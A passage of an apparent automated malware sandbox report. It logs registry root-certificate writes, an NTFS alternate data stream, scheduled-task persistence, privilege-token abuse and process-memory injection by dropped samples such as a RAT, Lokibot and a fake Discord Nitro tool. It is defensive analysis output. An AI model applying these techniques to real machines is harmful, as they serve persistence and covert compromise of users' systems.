Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Admin\AppData\Local\Temp\._cache_New Text Document mod.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25 C:\Users\Admin\AppData\Local\Temp\._cache_New Text Document mod.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc252000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a C:\Users\Admin\AppData\Local\Temp\._cache_New Text Document mod.exe N/A

NTFS ADS

Description Indicator Process Target
File created C:\ProgramData\TEMP:2FD3AA06 C:\Users\Admin\AppData\Local\Temp\EliteMonitor.exe N/A
File opened for modification C:\ProgramData\TEMP:2FD3AA06 C:\Users\Admin\AppData\Local\Temp\EliteMonitor.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\System32\schtasks.exe N/A
N/A N/A C:\Windows\System32\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\System32\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\1aae7dcfcb679f01938f1bfff990a87ccaaa9b9bed05ff85d64cdc7e925b83ef.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\_[MyFamilyPies]Avi.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Discord Nitro Generator and Checker.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: 1 N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: SeCreateTokenPrivilege N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: SeMachineAccountPrivilege N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: SeTcbPrivilege N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: SeSystemtimePrivilege N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: SeCreatePermanentPrivilege N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: SeAuditPrivilege N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: SeChangeNotifyPrivilege N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: SeUndockPrivilege N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: SeSyncAgentPrivilege N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: SeEnableDelegationPrivilege N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: SeManageVolumePrivilege N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: SeImpersonatePrivilege N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: SeCreateGlobalPrivilege N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: 31 N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: 32 N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: 33 N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: 34 N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\Installer.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\2020.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Lokibot.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2772 wrote to memory of 2916 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2772 wrote to memory of 2916 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2772 wrote to memory of 2916 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2772 wrote to memory of 2916 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2772 wrote to memory of 2192 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\_[MyFamilyPies]Avi.exe
PID 2772 wrote to memory of 2192 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\_[MyFamilyPies]Avi.exe
PID 2772 wrote to memory of 2192 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\_[MyFamilyPies]Avi.exe
PID 2772 wrote to memory of 2192 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\_[MyFamilyPies]Avi.exe
PID 2772 wrote to memory of 2708 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\0a77eae3916dbed61916324dbfeefd337b89acc1613b65d3291923caac3955cb_1.exe
PID 2772 wrote to memory of 2708 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\0a77eae3916dbed61916324dbfeefd337b89acc1613b65d3291923caac3955cb_1.exe
PID 2772 wrote to memory of 2708 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\0a77eae3916dbed61916324dbfeefd337b89acc1613b65d3291923caac3955cb_1.exe
PID 2772 wrote to memory of 2708 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\0a77eae3916dbed61916324dbfeefd337b89acc1613b65d3291923caac3955cb_1.exe
PID 2772 wrote to memory of 2692 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe
PID 2772 wrote to memory of 2692 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe
PID 2772 wrote to memory of 2692 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe
PID 2772 wrote to memory of 2692 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe
PID 2772 wrote to memory of 2536 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe
PID 2772 wrote to memory of 2536 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe
PID 2772 wrote to memory of 2536 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe
PID 2772 wrote to memory of 2536 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe
PID 2536 wrote to memory of 2068 N/A C:\Users\Admin\AppData\Local\Temp\0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
PID 2536 wrote to memory of 2068 N/A C:\Users\Admin\AppData\Local\Temp\0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
PID 2536 wrote to memory of 2068 N/A C:\Users\Admin\AppData\Local\Temp\0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
PID 2536 wrote to memory of 2068 N/A C:\Users\Admin\AppData\Local\Temp\0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
PID 2536 wrote to memory of 2856 N/A C:\Users\Admin\AppData\Local\Temp\0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe C:\Users\Admin\AppData\Local\Temp\proxyt.exe
PID 2536 wrote to memory of 2856 N/A C:\Users\Admin\AppData\Local\Temp\0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe C:\Users\Admin\AppData\Local\Temp\proxyt.exe
PID 2536 wrote to memory of 2856 N/A C:\Users\Admin\AppData\Local\Temp\0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe C:\Users\Admin\AppData\Local\Temp\proxyt.exe
PID 2536 wrote to memory of 2856 N/A C:\Users\Admin\AppData\Local\Temp\0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe C:\Users\Admin\AppData\Local\Temp\proxyt.exe
PID 2772 wrote to memory of 1928 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\1aae7dcfcb679f01938f1bfff990a87ccaaa9b9bed05ff85d64cdc7e925b83ef.exe
PID 2772 wrote to memory of 1928 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\1aae7dcfcb679f01938f1bfff990a87ccaaa9b9bed05ff85d64cdc7e925b83ef.exe
PID 2772 wrote to memory of 1928 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\1aae7dcfcb679f01938f1bfff990a87ccaaa9b9bed05ff85d64cdc7e925b83ef.exe
PID 2772 wrote to memory of 1928 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\1aae7dcfcb679f01938f1bfff990a87ccaaa9b9bed05ff85d64cdc7e925b83ef.exe
PID 2772 wrote to memory of 2036 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\5d2514a19b4099f082c344112df843b0bdf48c861c4dd81992758a8c10d38351.exe
PID 2772 wrote to memory of 2036 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\5d2514a19b4099f082c344112df843b0bdf48c861c4dd81992758a8c10d38351.exe
PID 2772 wrote to memory of 2036 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\5d2514a19b4099f082c344112df843b0bdf48c861c4dd81992758a8c10d38351.exe
